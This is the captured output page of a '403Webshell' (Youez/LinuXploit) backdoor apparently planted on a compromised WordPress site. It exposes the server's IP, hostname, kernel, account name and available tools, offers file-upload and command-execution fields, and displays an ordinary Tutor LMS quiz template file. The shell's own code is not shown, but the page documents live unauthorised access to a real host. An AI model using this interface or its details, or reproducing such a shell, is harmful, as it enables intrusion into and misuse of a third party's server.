403Webshell
Server IP : 69.72.244.102  /  Your IP : 216.73.216.164
Web Server : LiteSpeed
System : Linux s3434.fra1.stableserver.net 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
User : konzalta ( 1271)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/konzalta/public_html/wp-content/plugins/tutor/views/quiz/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/konzalta/public_html/wp-content/plugins/tutor/views/quiz/header.php
<?php
/**
 * Quiz header
 *
 * @package Tutor\Views
 * @subpackage Tutor\Quiz
 * @author Themeum <support@themeum.com>
 * @link https://themeum.com
 * @since 1.0.0
 */

// Load header based on context.
$file_path = __DIR__ . '/header-context/' . $context . '.php';
if ( $context && file_exists( $file_path ) ) {
	// Prepare header data.
	$course_title = get_the_title( $attempt_data->course_id );
	$course_url   = get_permalink( $attempt_data->course_id );

	$quiz_title = get_the_title( $attempt_data->quiz_id );
	$quiz_url   = get_permalink( $attempt_data->quiz_id );

	$user_data    = get_userdata( $attempt_data->user_id );
	$student_name = $user_data->display_name;
	$student_url  = '#';

	//phpcs:ignore
	extract( \Tutor\Models\QuizModel::get_quiz_attempt_timing( $attempt_data ) ); // $attempt_duration, $attempt_duration_taken;

	$quiz_time    = $attempt_duration;
	$attempt_time = $attempt_duration_taken;

	$question_count      = $attempt_data->total_questions;
	$total_marks         = $attempt_data->total_marks;
	$earned_marks        = $attempt_data->earned_marks;
	$unserialize_attempt = maybe_unserialize( $attempt_data->attempt_info );
	$pass_marks          = '';
	$passing_grade       = isset( $unserialize_attempt['passing_grade'] ) ? $unserialize_attempt['passing_grade'] : 0;
	$back_url            = isset( $back_url ) ? $back_url : ( isset( $_GET['view_quiz_attempt_id'] ) ? remove_query_arg( 'view_quiz_attempt_id', is_admin() ? admin_url( 'admin.php?page=tutor_quiz_attempts' ) : tutor()->current_url ) : null );

	include $file_path;
}


Youez - 2016 - github.com/yon3zu
LinuXploit